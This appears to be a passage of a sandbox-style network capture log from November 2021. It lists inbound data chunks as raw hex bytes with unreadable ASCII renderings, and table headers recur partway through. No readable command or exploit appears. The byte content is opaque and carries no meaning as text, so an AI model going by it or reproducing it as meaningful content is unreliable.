98 cd c7 b4 65 c6 a7 d9 3c 20 d9 d3 3c 62 f3 09 66 f3 09 6d 99 c9 69 36 0f 48 76 35 9f 44 6c 3e c1 6c 3e a1 2d 33 39 cd 
e6 e2 9c a2 52 ce 1c 4a 30 39 4d 2a 43 b0 aa e1 55 53 e7 e0 e8 4a ad 77 f0 f5 55 ce 32 28 36 3f ec 83 fd 22 71 50 f2 a1 
a1 a8 bd 89 d1 08 29 2e 55 be 38 8e 30 1f 00 7e f4 f0 21 b2 d0 66 5a 98 22 b4 12 fe 97 05 e8 e1 48 b2 e7 a0 b4 30 fb 7b 
42 cb b3 34 f3 ed 83 70 61 5f c2 23 ed 86 09 8a db 30 be 55 a1 aa a2 a7 df 01 cb 80 ea 90 16 cb 70 7a 42 14 fc 5e d3 cd 
09 51 ac 4c c5 1c f5 a0 f1 13 30 5b 9d 72 e4 c3 8f 2e 
Data Ascii: i6Hv5El>l>-3:_b6-sy]/#6l~I[4${Gl>l>-3>e< <bfmi6Hv5Dl>l>-39RJ09M*CUSJwU2(6?"qP).U80~!fZ"H
0{B4pa_#0UpzB^QL0[r.

2021-11-25 16:27:48 UTC 972 IN Data Raw: eb 50 e9 76 0f 47 ef b9 1c 94 17 9c 18 85 6b 44 e0 81 b8 2e 39 52 1b 3a d8 d0 63 09 d6 e7 94 a0 dc a8 37 06 
9c 21 dd e2 b1 6a d4 16 a3 1b ef 97 a1 1e 91 e1 89 d1 16 ae 3d 64 d7 ad 9a 17 51 6b 55 0e a3 a6 c4 ee 12 15 44 f9 4e 8e 
e0 8d 0c 93 e4 00 95 3a 18 84 3b 58 0d 01 bd de 68 1d 1c 31 d3 c6 a3 c4 5e 1e fb c4 65 c6 f7 32 01 ea 9a 64 f0 66 2c 2b 
c6 0f ea 8d e5 c8 8f f6 65 99 32 03 7e 59 8e cc 98 5f 91 23 3b ec 57 e4 ca 8c fc 7d 2c d1 e0 5f 9e 7c 86 f8 5f 21 36 7a af 
36 58 78 7a 14 b0 12 cd a4 d5 5b af 6b ac 02 bc b7 d5 5e 87 6b fb aa ae 16 8c dd e4 e7 c9 67 0a 6e 0e 8a 4e 8f 6f 26 9a 
a3 46 ad 91 36 a8 2d 30 fb b1 c4 63 b3 45 fa b9 c2 b3 63 c2 93 23 b4 09 db d7 aa 39 62 fd 1a c3 cb 1f 4b 3c c2 5c a4 9f 2b
c8 3c 22 3c 3d ce 9c b2 7f 9d 9a 63 f6 af 2f 48 fe 
Data Ascii: PvGkD.9R:c7!j=dQkUDN:;Xh1^e2df,+e2~Y_#;W},_|_!6z6Xxz[k^kgnNo&F6-0cEc#9bK<\+<"<=c/H

2021-11-25 16:27:48 UTC 973 IN Data Raw: 2c 7d c2 1f 98 f1 67 43 41 a9 c5 7f 8a 8f d1 80 50 15 dd 49 b0 b4 09 c0 42 19 01 39 16 4b 01 87 c2 38 43 3a 
26 40 44 a9 7c 29 3e 46 03 45 55 74 27 c1 b6 58 cc c7 92 11 a3 12 d8 03 9c 21 1d 13 a0 a3 d4 26 52 8a 8f d1 00 52 15 
dd 49 b0 b4 09 c0 48 19 01 39 16 4b 01 93 c2 38 43 3a 26 40 4a a9 7c 29 3e 46 03 4b 55 74 27 c1 b6 58 cc c7 92 11 a6 
12 d8 03 9c 21 1d 13 a0 a6 64 be 08 da 14 c9 e4 d1 9d 04 4b 9b 00 ec 94 11 90 63 b1 14 f0 29 8c 33 a4 63 02 04 95 ca 97
e2 63 34 10 55 45 77 12 6c 8b c5 7c 2c 19 91 2a 81 3d c0 19 d2 31 01 9a 4a e6 8b a0 53 91 4c 1e dd 49 b0 b4 09 c0 54 1
9 01 39 16 4b 01 ab c2 38 43 3a 26 40 56 a9 7c 29 3e 46 03 57 55 74 27 c1 b6 58 cc c7 92 11 ac 12 d8 03 9c 21 1d 13 a0 
ac d4 7a 34 8c 66 45 32 79 74 27 c1 5e 89 e3 b0 56 ea 2b 1f 46 b6 
Data Ascii: ,}gCAPIB9K8C:&@D|)>FEUt'X!&RRIH9K8C:&@J|)>FKUt'X!dKc)3cc4UEwl|,*=1JSLIT9K8C:&@V|)>FWUt'X
!z4fE2yt'^V+F

2021-11-25 16:27:48 UTC 974 IN Data Raw: 22 00 da 38 89 40 67 e3 ad 4a 41 b3 71 1f 09 86 50 a1 0c 16 0d fc 38 c0 60 24 12 8e 4d 64 4b 0b 95 8a b0 12 
5c 94 46 51 08 36 ee b4 31 6b 90 01 80 92 06 7e 58 65 d3 71 7f 22 5f b2 39 12 e2 fd 5c 2e 4a a5 38 d4 9a e8 47 31 83 d0 
20 6b 8a 08 7f 59 0a 04 e0 d5 64 d6 64 ab a4 00 ab 79 6c a4 5e 09 90 6a a2 6b 47 2d 13 f2 95 ae e5 2c e9 30 6a 32 6b ba 
65 d2 1c 06 45 4f f3 f5 4a 80 4e 13 a3 4d cc 32 34 68 9a 22 c2 5f 96 06 01 b8 34 99 35 d9 32 29 40 69 1e 1b a9 57 02 44 
1a cf 14 f5 19 1a 1c 4d 11 e1 2f db 32 41 9f 49 c6 44 8b f1 52 6c a4 5e 09 50 68 7c 7a 11 f5 19 1a 04 4d 11 e1 2f 4b 83 00 
fc 99 cc 9a 6c 99 14 e0 33 8f 8d d4 2b 01 f2 8c 67 8a fa 0c 0d 76 a6 88 f0 97 6d 99 a0 cf 24 63 9c c5 78 29 36 52 af 04 68 
33 3e f3 8c fa 0c 0d 6a a6 88 f0 97 a5 41 00 ce 4c 
Data Ascii: "8@gJAqP8`$MdK\FQ61k~Xeq"_9\.J8G1 kYddyl^jkG-,0j2keEOJNM24h"_452)@iWDM/2AIDRl^Ph|zM/Kl3+
gvm$cx)6Rh3>jAL

2021-11-25 16:27:48 UTC 976 IN Data Raw: 48 3f 17 9a 52 58 b8 57 85 6c ff af 55 73 cc fe fc 32 24 d4 0f 1e 66 55 de 8c e7 0c 56 3b d2 54 8c e7 e0 68 1f 
38 e1 22 cf d5 82 2a 3a 64 37 eb 79 40 96 ca d5 59 11 96 ca d5 b9 e1 95 62 15 f0 f6 05 b3 b1 95 62 75 f0 66 de 29 b0 3c 
de ce 69 cd 90 4a de ca a4 66 30 25 28 1f bd 00 81 ed de d6 8c a1 84 2d 90 6a 46 4f 72 8a c0 a1 93 c0 9d 5e c3 ef f4 e4 
1c c4 24 23 23 02 97 a4 24 3b 4c 04 56 d2 64 d4 11 a8 48 82 5b 2a 70 27 44 d0 90 43 8a 4e a2 0e 69 3a 05 3c a4 e9 14 
f6 90 a6 53 f0 43 9a 4e 21 10 69 3a 05 42 a4 e9 14 0e 91 a6 53 50 44 9a 4e a1 11 69 3a 05 48 a4 e8 04 26 91 a2 12 b0 
44 8a 4a 20 13 29 2a 01 4e a4 a8 04 3e 91 a2 12 10 45 8a 4a a0 14 69 8f c1 81 8a b4 3d 70 ac 22 49 c5 e1 8a 24 0d 47 
2c 92 34 1c b4 48 d2 70 dc 22 49 c3 a1 8b 24 0d 47 2f 92 34 1c 
Data Ascii: H?RXWlUs2$fUV;Th8"*:d7y@Ybbuf)<iJf0%(-jFOr^$##$;LVdH[*p'DCNi:<SCN!i:BSPDNi:H&DJ )*N>EJi=
p"I$G,4Hp"I$G/4

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 977 IN Data Raw: 42 47 f6 94 5a ab 40 36 4a 8d a8 61 4a 20 dd 53 ce 87 1d 16 95 ef d5 e5 c8 9e 52 6b 15 e8 46 a9 0f 4a 4c 0a 
44 d1 c4 34 e9 5c 80 62 51 f9 6e 5d e2 98 62 78 a3 d4 5a 05 b2 51 6a c4 17 53 02 e9 9e 72 3e 94 b1 a8 7c af 2e 47 f6 94 
5a ab 40 37 4a 7d a0 63 6a d9 43 f7 94 f3 41 8f 45 e5 7b 4b ae 23 7b 4a ad 55 a0 97 8e f5 21 91 29 81 81 95 fc d9 f0 c8 
a2 f2 bd ba 1c bb 9a af b3 0a 74 a3 d4 07 4f 26 05 a2 08 65 9a 74 2e 90 b2 a8 7c 2f 92 fa c8 9e 52 6b 15 c8 46 a9 11 b3 
4c 09 a4 7b ca f9 90 cb a2 f2 bd ba 1c d9 53 6a ad 02 dd 28 f5 01 99 49 81 28 96 99 26 9d 0b ce 2c 2a df ad 4b 1c d1 0c 
6f 94 5a ab 40 36 4a 8d e8 66 4a 20 dd 53 ce 87 71 16 95 ef d5 e5 c8 9e 52 6b 15 e8 46 a9 0f f2 4c 0a 44 51 cf 34 e9 5c 
c0 67 51 f9 6e 5d e2 d8 67 78 a3 d4 5a 05 b2 51 6a c4 41 
Data Ascii: BGZ@6JaJ SRkFJLD4\bQn]bxZQjSr>|.GZ@7J}cjCAE{K#{JU!)tO&et.|/RkFL{Sj(I(&,*KoZ@6JfJ SqRkFLD
Q4\gQn]gxZQjA

2021-11-25 16:27:48 UTC 978 IN Data Raw: 48 cd 06 ff 5a 11 80 3d 26 3d 46 46 35 0d e0 25 41 6a 06 da d7 0a 83 a4 91 89 a4 86 38 d8 8d 22 10 ba 1d 01 
ef c5 8d 4f 63 7b 39 54 ba dd c3 e8 3b 2e 07 e5 05 27 e2 79 19 11 38 98 97 4b 8e d4 86 86 09 f2 58 82 f5 39 05 c0 2b ea 
8d 01 67 48 b7 78 ac 1a b5 21 76 c5 fb 65 a8 47 64 78 62 b4 85 6b 87 e8 72 ab e6 21 65 59 95 c3 a8 29 c8 5c 44 05 51 
be 93 31 b9 22 c3 24 39 40 a5 0e 06 e1 0e 56 03 08 97 37 5a 07 47 cc b4 f1 28 b1 97 c7 3e 71 b9 a8 5b ab 79 0a e4 16 
2b 26 13 6f 8b e5 c8 07 db 62 99 32 91 b6 58 8e 4c 98 2d 91 23 1b 63 4b e4 ca 04 d8 5a cd 51 74 2d 9e 7c 06 68 2d 21 3
6 8a ab 15 2c dc bd 50 18 2d 9d 49 ab b7 5e 28 9c 16 ef 6d b5 d7 01 03 d2 5a cd 51 14 2d 9e 7c 26 08 ad a0 68 2f 52 35 
b7 39 6a d4 1a 69 83 da 30 b3 56 73 1c 30 4b a4 9f 0b 2d 2b 26 dc 
Data Ascii: HZ=&=FF5%Aj8"Oc{9T;.'y8KX9+gHx!veGdxbkr!eY)\DQ1"$9@V7ZG(>q[y+&ob2XL-#cKZQt-|h-!6,P-I^(mZQ-
|&h/R59ji0Vs0K-+&

2021-11-25 16:27:48 UTC 980 IN Data Raw: f9 a4 f2 25 4d f5 63 73 7d 6f b2 9f 8c ff 64 04 64 59 2c 7d c2 1f 98 f1 67 63 41 a9 c5 7f 8a 8f d1 88 50 15 dd 49 
b0 b4 09 e0 42 19 01 39 16 4b 41 87 c2 38 43 3a 26 60 44 a9 7c 29 3e 46 23 45 55 74 27 c1 b6 58 cc c7 92 21 a3 12 d8 
03 9c 21 1d 13 b0 a3 d4 26 52 8a 8f d1 08 52 15 dd 49 b0 b4 09 e0 48 19 01 39 16 4b 41 93 c2 38 43 3a 26 60 4a a9 7c 
29 3e 46 23 4b 55 74 27 c1 b6 58 cc c7 92 21 a6 12 d8 03 9c 21 1d 13 b0 a6 64 be 08 dc 14 c9 e4 d1 9d 04 4b 9b 00 ee 
94 11 90 63 b1 14 f4 29 8c 33 a4 63 02 06 95 ca 97 e2 63 34 12 55 45 77 12 6c 8b c5 7c 2c 19 92 2a 81 3d c0 19 d2 31 
01 9b 4a e6 8b c0 53 91 4c 1e dd 49 b0 b4 09 e0 54 19 01 39 16 4b 41 ab c2 38 43 3a 26 60 56 a9 7c 29 3e 46 23 57 55 7
4 27 c1 b6 58 cc c7 92 21 ac 12 d8 03 9c 21 1d 13 b0 ac d4 7a 34 
Data Ascii: %Mcs}oddY,}gcAPIB9KA8C:&`D|)>F#EUt'X!!&RRIH9KA8C:&`J|)>F#KUt'X!!dKc)3cc4UEwl|,*=1JSLIT9K
A8C:&`V|)>F#WUt'X!!z4

2021-11-25 16:27:48 UTC 981 IN Data Raw: 30 df ee 10 30 dc ee 10 30 d9 ee 10 30 d6 ee 10 30 d3 2e 26 48 80 76 51 22 34 bb 28 11 94 5d 94 08 c7 2e 4a 
04 62 17 25 42 b0 8b 12 c1 d7 45 89 b0 eb a2 44 c0 75 51 22 d4 ba b8 aa 0c 59 17 7b 44 7c b5 0c 1a 34 5a 75 f0 5a bf a4 
45 31 75 69 9a ed 15 32 c5 94 58 b1 88 54 34 5d 6c 5a ad 1a f4 c5 c8 ac 55 07 cd b9 f9 fb 90 69 9e b9 1c 86 f7 20 7b 2b 
16 92 8e a0 4b fb 48 2b 08 87 cf 15 b1 3e 6a 02 10 b0 73 79 aa b9 2a 16 e0 dc 60 46 e3 32 a0 e6 d2 d6 56 2b 23 f5 ca 87 
a6 59 ec 78 b9 3c d5 5e 19 5b c3 40 aa dc 18 97 01 29 97 ae 36 5a 65 38 4c ae 88 f5 51 13 81 80 91 cb 53 cd 95 b1 00 e4 
06 33 1a 97 01 1d 17 27 a9 3d c3 a1 71 45 ac 8f da ca 88 3d 63 66 c5 69 b6 cc 8c c6 65 40 c4 c5 db 0b b5 67 38 1c ae 88 
f5 51 13 81 80 85 cb 53 cd 95 b1 00 e1 06 33 1a 97 01 05 
Data Ascii: 00000.&HvQ"4(].Jb%BEDuQ"Y{D|4ZuZE1ui2XT4]lZUi {+KH+>jsy*`F2V+#Yx<^[@)6Ze8LQS3'=qE=cfie@g
8QS3

2021-11-25 16:27:48 UTC 982 IN Data Raw: d5 5f 66 5d dd 8c 67 8a 69 2b 4b 75 d8 bc 76 d1 0b df 70 89 91 74 72 f7 fd 15 fd 4a 6e 11 7c 2a 6c 4b c9 53 61 
5b 8d 9d d2 12 18 3e 17 9c 66 4e 69 39 0c 77 de 16 5c d1 f0 c9 a9 33 6a 6a 78 32 71 86 4c d5 fe e1 0f 20 d0 a7 b7 ce 6c 
29 f4 80 e4 4c 95 ea 4e 81 91 52 d5 6f 7a 1f f6 dd 16 9f 21 49 3d 7c 28 18 a9 e2 b9 33 62 0c a9 8f 7f fe 37 c1 a2 92 79 8e 
60 4b 3e 38 73 a8 e8 14 3b 74 ea 8c 3c 74 ea 0c 3e 74 ea 8c 3f 74 ea 0c 41 74 ea 8c 42 74 ea 0c 44 74 ea 8c 45 74 ea 0c 
47 74 ea 8c 48 54 74 02 25 2a 2a e1 12 15 95 a0 89 8a 4a e8 44 45 25 80 a2 a2 12 46 51 51 09 a6 e8 ec 18 4c 2a 3a eb 
81 61 45 59 c5 bc a2 ac 61 64 51 d6 30 b5 28 6b 18 5c 94 35 cc 2e ca 1a c6 17 65 0d 13 8c b2 86 21 46 59 c3 1c a3 ac 61
94 51 c9 9d d0 8c 8a 4a 80 46 45 25 4c a3 a2 12 ac 51 
Data Ascii: _f]gi+KuvptrJn|*lKSa[>fNi9w\3jjx2qL l)LNRoz!I=|(3b7y`K>8s;t<t>t?tAtBtDtEtGtHTt%**JDE%FQQL*:aEYadQ0
(k\5.e!FYaQJFE%LQ

2021-11-25 16:27:48 UTC 983 IN Data Raw: 75 ac 3c f6 f0 9d b2 8e 3d a6 fa 1f 1e b9 6e ee 14 d7 14 f8 a3 a3 1f 8a ac 38 14 9e e4 97 01 c9 54 ff 43 2e 77 9f
e6 3d 53 e0 8b e2 c7 27 cb 0e 21 a2 ec 94 56 51 ca 54 ff c3 ab d4 37 77 8a 6b 0a 74 51 1c a1 65 c5 21 df 29 eb d0 65 aa 
ff 21 97 9b 3b c5 35 05 be 28 7e 24 b3 ec 10 c2 cc 4e 69 15 cf 4c f5 df e7 a2 23 cd f0 a2 b8 a6 40 17 c5 11 6f 56 1c f2 9d 
b2 0e 72 a6 fa 1f 72 b9 b9 53 5c 53 e0 8b e2 c7 3c cb 0e 21 f6 ec 94 56 91 cf 54 ff 7d 2e 3a fc 0c 2f 8a 6b 0a 74 51 1c 41 
68 c5 21 df 29 eb 70 68 aa ff 21 97 9b 3b c5 35 05 be 28 7e 74 b4 ec 10 02 d2 4e 69 15 23 4d f5 df e7 a2 63 d2 f0 a2 b8 
a6 40 17 c5 11 99 56 1c f2 9d b2 0e 9c a6 fa 1f 72 b9 b9 53 5c 53 e0 8b e2 92 48 e5 f0 43 05 2e 83 5f aa 5d b2 f0 cd 5b 6f 
34 7e 03 28 7d c1 b9 88 90 56 3e 2d 5c 08 
Data Ascii: u<=n8TC.w=S'!VQT7wktQe!)e!;5(~$NiL#@oVrrS\S<!VT}.:/ktQAh!)ph!;5(~tNi#Mc@VrS\SHC._][o4~(}V>-\

2021-11-25 16:27:48 UTC 985 IN Data Raw: 08 7d 8a c3 8b 88 4f a2 eb e1 c5 ca d9 e5 70 8c 1a ac 81 1b e2 69 0f 98 ef 94 c6 57 c1 9d 34 e7 bd f7 d9 da bb 
46 0e aa ef 48 73 da 03 46 39 a5 f1 55 1c 27 c5 79 9f c2 74 ef bb 46 8e ea ef 07 6e da 03 a6 36 a5 f1 55 c8 26 d9 79 9f 82 
ce 6b ea eb ef 1a 39 a8 bf 23 a3 69 0f 18 d0 94 c6 57 d1 99 64 e7 43 0a d3 fd ef 1a 39 aa bf 1f 8e 69 0f 98 c5 94 c6 57 81 
98 64 e7 c3 2b 07 d3 fd ef 1a 39 a8 bf 23 79 69 0f 18 bb 94 c6 57 31 97 64 e7 43 0a d3 fd ef 1a 39 aa bf 1f 64 69 0f 98 b0 
94 c6 57 e1 95 64 e7 7d 0a 3a 5b a9 af bf 6b e4 a0 fe 8e 3c a5 3d 60 98 52 1a 5f 45 52 92 9d 0f 29 4c f7 bf 6b e4 a8 fe 7e 
e8 a4 3d 60 6e 52 1a 5f 05 4d 92 9d 0f 4f 30 d3 fd ef 1a 39 7a fa f2 a3 24 ed 01 23 92 d2 f8 2a 3e 92 ec 7c 48 61 fe d9 d7 
33 72 54 7f 3f 20 d2 1e 30 0d 29 8d af 
Data Ascii: }OpiW4FHsF9U'ytFn6U&yk9#iWdC9iWd+9#yiW1dC9diWd}:[k<=`R_ER)Lk~=`nR_MO09z$#*>|Ha3rT? 0)

2021-11-25 16:27:48 UTC 986 IN Data Raw: 7e a1 5b cc ba cb 92 48 5b b3 de ef 7c 30 e7 1c 23 47 8d 13 52 c6 49 61 0f bd 35 f7 66 6c e0 33 b4 4d 1b 15 c6
b3 a7 27 63 3c a3 bd 19 cd 2a dc 1b cf e6 56 d6 a8 88 7d fb 5e 3a 33 4c 2b f0 1e 07 b9 4f 2f 1c 7b 0d ce f8 b4 cc ce a7 c1 
38 29 2f 60 8f 0e 13 78 38 4a 46 a3 a4 70 7e 5b fb f0 fb ce af 73 2b 04 5c 5a 58 cb 8a 3c c0 08 66 a7 d9 bd 51 4d c0 b7 87 
2b 2b b0 91 d1 1b 78 fa 33 dc 58 5e 77 8e fc 32 b6 73 3f 8d b2 b1 61 fe 19 d8 72 0e 73 77 34 b3 01 89 ca ac 9c 4d 98 fd 
c5 ef 92 08 bd 7d 3a cb 64 
Data Ascii: ~[H[|0#GRIa5fl3M'c<*V}^:3L+O/{8)/`x8JFp~[s+\ZX<fQM++x3X^w2s?arsw4M}:d

2021-11-25 16:27:48 UTC 986 IN Data Raw: 54 e8 ad 86 fb 41 b7 e1 a5 00 f0 e3 08 5a 6e 56 2b 10 cb e3 d0 9d 5f b5 3a da 0b ba 80 4b 04 fc 5d b1 23 fe ca 
8a 6f f7 75 fa f4 b4 c6 37 12 37 05 b1 6c 01 7d a1 15 98 54 73 02 24 f7 db 8e a3 9f ec ee ee 9c e9 d6 e6 0f 47 df 3c 3e ff 
86 cf 7b bb 8e 7e 7a b6 73 be 73 7c b1 79 b1 7f 72 ac 5b c5 47 47 ff b4 73 f1 fd 1c 0a be 9c eb d6 fd be a3 f3 e7 ef 50 ef f4 
e4 f8 7c 47 b7 52 51 69 6b f3 74 f3 e3 fe e1 fe c5 fe 0e 54 fd 3a 73 74 b5 44 69 30 db 73 f4 b3 d3 2d 9d 4f fd b6 8b 83 a1 
3f f1 83 64 94 94 09 2b 3c 2a e1 e8 ed 09 78 d0 1f 86 4b e4 8f f9 24 14 0f ac 98 8e 4a fe 8c d0 e5 4f b1 e8 83 d3 f5 fd 88 
40 35 b7 ca 26 55 2f f3 19 92 32 1d f9 53 3a d4 97 3d 0f 7b c8 06 9a 6f 96 40 57 ee b5 f3 59 5a fa 3f 76 70 58 03 08 50 9a 
66 a5 36 f1 73 60 69 69 96 be e1 cd 
Data Ascii: TAZnV+_:K]#ou77l}Ts$G<>{~zss|yr[GGsP|GRQiktT:stDi0s-O?d+<*xK$JO@5&U/2S:={o@WYZ?vpXPf6s`ii

2021-11-25 16:27:48 UTC 987 IN Data Raw: 54 c8 ac a6 1e a1 20 2d 20 0e 96 68 72 42 0d 48 14 5d 0b 14 d8 5d 84 02 9f 66 6e bd 2d c7 fe b8 9f d4 35 6a 
c0 c1 27 ac 69 0c d7 c2 9c e6 54 5e 8d 45 8d 66 8b 30 69 53 52 c2 0e ab 11 c0 78 f5 70 bc fe b3 e3 14 2c 9c e6 6c ab 6f 
b4 ec f5 03 a9 bd f4 0e b7 24 c7 f3 a7 51 92 9d 65 01 54 49 41 d9 f8 ef 0f 64 ab a3 67 17 79 97 44 6c f1 a0 d3 d7 0f da ea 
68 d1 a0 fa 04 ed 99 80 4f 69 79 98 84 2c 2d 98 b0 5b 9f 4f 27 64 94 54 d8 76 85 83 2f b4 31 1b dd 9e b1 11 03 26 7e c4 
f5 b5 45 bd 6f f5 f5 fe 5c d3 e6 20 28 35 b0 4e a7 e3 be 4e d5 aa d8 49 04 c5 09 42 f4 8e ed 47 f0 1e 28 3f cb eb ae 96 78 
57 b1 c2 78 9f 69 60 2a ec 80 4c 37 7b 2d eb 10 59 90 fa ec f7 62 91 db 49 31 41 eb 0b 5a f1 5d 41 72 7c 57 e1 21 52 e0 
45 8a 71 e4 4f a4 d0 bb 36 b7 f6 bb e2 38 50 71 df 
Data Ascii: T - hrBH]]fn-5j'iT^Ef0iSRxp,lo$QeTIAdgyDlhOiy,-[O'dTv/1&~Eo\ (5NNIBG(?xWxi`*L7{-YbI1AZ]Ar|W!REqO68Pq

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 989 IN Data Raw: 40 09 93 ef 09 62 0e 8f d5 68 98 1b be cd e0 7c 07 cd 12 d7 00 89 2c 80 51 06 4f 4f 20 14 e0 78 0c b8 fc 0e 06 
d2 24 3f f0 48 4a 89 08 b4 9c 88 fc a9 55 01 1f 56 af 70 ef 78 c6 69 f0 b6 b5 de 40 d5 88 04 ee 08 c0 11 c0 ff 70 42 e1 ff 
82 87 4e 74 05 4b 8e 2c d8 7d 85 5f 42 dc fd 1b 3d b2 70 50 60 99 3e 1e 9a c8 fe ca f9 51 35 81 7f b0 06 3f 9c 91 bd c7 c5 
dc c8 6c 1f d7 b8 3a cd ff 0b f5 81 b2 b5 de 8f 71 c6 7f 1b 1c 84 b7 de bf b0 d2 18 25 9c 08 c9 de 03 fc 82 07 eb 16 7f c7 
f2 77 8c bf 71 c3 22 14 6e e1 ff b8 49 05 ce 84 35 b6 3a e5 05 c8 d8 61 09 30 45 e3 17 50 c1 82 d8 30 f2 be a5 16 f3 8b 
31 62 04 b0 6d 79 79 6c 8f e0 29 ab 71 26 b7 a6 b0 16 0f 04 8c e1 06 00 d6 fe c4 80 de a0 66 2c 60 a7 19 49 e4 e9 ab f9 
aa 6e d6 ae e2 a9 e9 50 93 78 65 45 b6 f9 8a 
Data Ascii: @bh|,QOO x$?HJUVpxi@pBNtK,}_B=pP`>Q5?l:q%wq"nI5:a0EP01bmyyl)q&f,`InPxeE

2021-11-25 16:27:48 UTC 990 IN Data Raw: 92 fa 3c 29 5d 28 a7 cc 42 44 56 5e e1 4f 8b 27 13 6c b3 91 3f 53 5e b5 8e 84 c5 51 5b ad 40 05 56 85 df cd 57 
bc cc 42 eb f8 47 98 b1 a3 af bf 05 a5 70 d8 3d 3f 96 dc a1 b3 32 9c 90 f4 75 98 0d 1d 1f 30 8b a5 7e 30 62 f0 6b 88 d6 19 
58 de ce 0f 98 0a 12 e6 c2 b9 d4 fd c8 9f a0 a7 ed fb 04 e6 9d 4d cb ef 11 2e 40 bf 42 26 70 6d 47 05 74 46 ed 31 70 36 
b6 d5 41 b6 e1 9d f7 e1 37 d3 05 da e9 79 bd 70 da 68 48 1d 46 5c 09 6f 78 18 bf 17 d9 34 0f 19 08 30 49 89 2b 70 d6 fe 
1c f6 1c a7 8d f5 9d f7 ff ee 7b e1 fc b6 d6 2c af ce cf 6a 0f 7c 94 aa 92 62 58 3c d7 86 c6 ee 83 a8 ac e7 74 9b ce 4d 67 
c1 d2 88 d3 56 4b cb 19 e0 64 8e 91 53 e2 8d 6e a9 13 15 e9 0f d9 34 8d 8c ce 32 6b 72 b0 aa bf 05 d2 b4 a6 5b 4b 7c f5 
d4 74 11 58 2c d2 e4 a6 25 df df c7 fb 24 2a 63 
Data Ascii: <)](BDV^O'l?S^Q[@VWBGp=?2u0~0bkXM.@B&pmGtF1p6A7yphHF\ox40I+p{,j|bX<tMgVKdSn42kr[K|tX,%$*c

2021-11-25 16:27:48 UTC 991 IN Data Raw: 73 52 49 60 5a 1c 53 bc e9 35 7a 8c 78 30 3b 7f f7 f4 a4 eb dc 6f 39 68 fa 2b 77 ab 53 c5 53 51 4b 3f d0 f6 b7 
45 a8 10 35 75 fe 5f aa 55 ff f4 d5 56 c7 8a 3d 53 97 30 90 be 64 2e 7b 06 30 5a 81 d6 05 e8 9a 0c 94 80 4d 46 74 4d 41 
50 88 ce a7 9c 6b e6 47 7e 0a 22 3c 60 f1 d3 13 21 04 85 32 d6 d8 2d 6c a3 c0 7b 98 45 90 18 fb 37 0c 83 eb f0 6a 01 74 
46 11 a0 ec 49 99 ff 57 db 51 41 f1 85 5d 91 9b 22 90 e8 06 7f f6 45 89 a0 77 8b c7 63 9e 27 e9 cd e6 1d 80 19 69 24 ea 
21 e4 d0 8c ac 77 dc cb 64 5d f7 bb 35 38 76 d6 16 e9 40 3a e9 e4 2a 81 c3 00 04 55 1f 5c e5 0e ac 3c 81 aa 87 6b 4f 3e 
6c a3 1e 8c 16 12 57 04 79 40 3f b8 fe e2 34 4f ee 30 b1 3f 4b 4f 73 36 28 b6 40 21 1e 02 1f 89 fd 42 71 44 4e 41 dd 78 5d 
bb 8e 0f 73 5a 81 6d 91 27 eb 1e ce 54 76 6f f7 b3 
Data Ascii: sRI`ZS5zx0;o9h+wSSQK?E5u_UV=S0d.{0ZMFtMAPkG~"<`!2-l{E7jtFIWQA]"Ewc'i$!wd]58v@:*U\<kO>lWy@?
4O0?KOs6(@!BqDNAx]sZm'Tvo

2021-11-25 16:27:48 UTC 992 IN Data Raw: 15 f5 fd b0 53 7b 73 73 ab 59 29 83 d7 9d 5a 27 a7 5f ce 9b d5 b8 eb 12 fd a0 dc ce fc d2 d8 1f 6e 94 ca e7 5f 
4e 4f 4f ce 2e be 7f f8 0c 92 a6 5a 2b 7e f7 db 87 4e a7 7b 50 d8 1a 7c f2 7b a7 d6 d7 d3 df db 95 fe d0 9d b8 91 b3 b5 45 
c7 15 2d 60 da 97 51 99 fb 3a e6 ab b5 bb f9 a3 d9 4d cc ee c2 ff a2 9f bd 9d af 15 60 23 36 f0 a7 a3 d2 19 3c c8 fb 00 53 
79 a1 12 bf 36 40 43 c4 c5 a3 38 26 0d 02 d1 61 65 a5 3b 8a e7 f1 37 bd 70 ac 63 41 1a d4 12 2d cc 18 6d 40 76 67 e0 b5 
a8 78 21 a6 86 80 a7 0d 15 17 44 92 66 4b 92 0c 3b 25 ed 3a 00 14 4c 59 17 ee d7 66 fd 4f f7 3d b5 db 5d 42 51 8b c0 2b 
d2 fc 45 86 c7 ab d9 64 70 cf 49 47 fc a0 8a 50 3d 69 15 6a f2 ee 6e 23 0b 23 93 d7 03 08 03 e0 9a 4c fb e5 b9 2f 93 a6 bc 
e2 8b 5b 6f 40 a0 b1 26 2c 87 93 39 46 5f 37 
Data Ascii: S{ssY)Z'_n_NOO.Z+~N{P|{E-`Q:M`#6<Sy6@C8&ae;7pcA-m@vgx!DfK;%:LYfO=]BQ+EdpIGP=ijn##L/[o@&,
9F_7

2021-11-25 16:27:48 UTC 994 IN Data Raw: bf f2 4f 0c 38 af f9 0e 81 05 f5 b7 78 d4 b7 a3 4f a6 c1 28 09 75 6b 2c 02 2c b8 21 d0 f9 7c 8d 17 63 f3 28 31 
27 f5 ef 92 a1 0f e7 c5 9e 16 2c df 1c c2 86 3c 3d e9 5f 8e 3f 1f 9f 7c 3b d6 ab c0 66 20 e2 d1 34 2c 29 4d 01 15 fd b9 8c 
9e 09 65 84 4c d4 27 57 65 7d 57 0a 4c d5 0b f0 ea ab 5b e7 ee 47 95 0a b4 9c d6 0a 11 00 6c eb 39 d5 b1 29 29 af 2f 63 
67 94 2b fd c5 a4 54 ea 24 dc 10 55 64 8d 05 40 f9 63 e7 57 3c f2 8d 89 34 dd e2 cd 79 18 bd 13 91 e4 b4 62 8a 4a a3 6b 
95 68 db bb 95 cb 58 05 89 64 65 f3 85 7e a1 26 a8 3a ae 77 85 17 6c 49 97 cd 96 7a 7a 75 59 5f bd 5b 68 43 ec 95 6f 98 
4e cf d5 43 b2 23 a8 60 5a 41 df ed 44 44 a9 c2 1b 59 31 f3 44 41 45 46 b7 db 64 54 46 64 d2 7c e1 f8 6d 74 96 8a 01 87 
e4 ac e9 f2 70 a1 a7 77 2e 10 8e bc 2d b2 52 c8 7b 
Data Ascii: O8xO(uk,,!|c(1',<=_?|;f 4,)MeL'We}WL[Gl9))/cg+T$Ud@cW<4ybJkhXde~&:wlIzzuY_[hCoNC#`ZADDY1
DAEFdTFd|mtpw.-R{

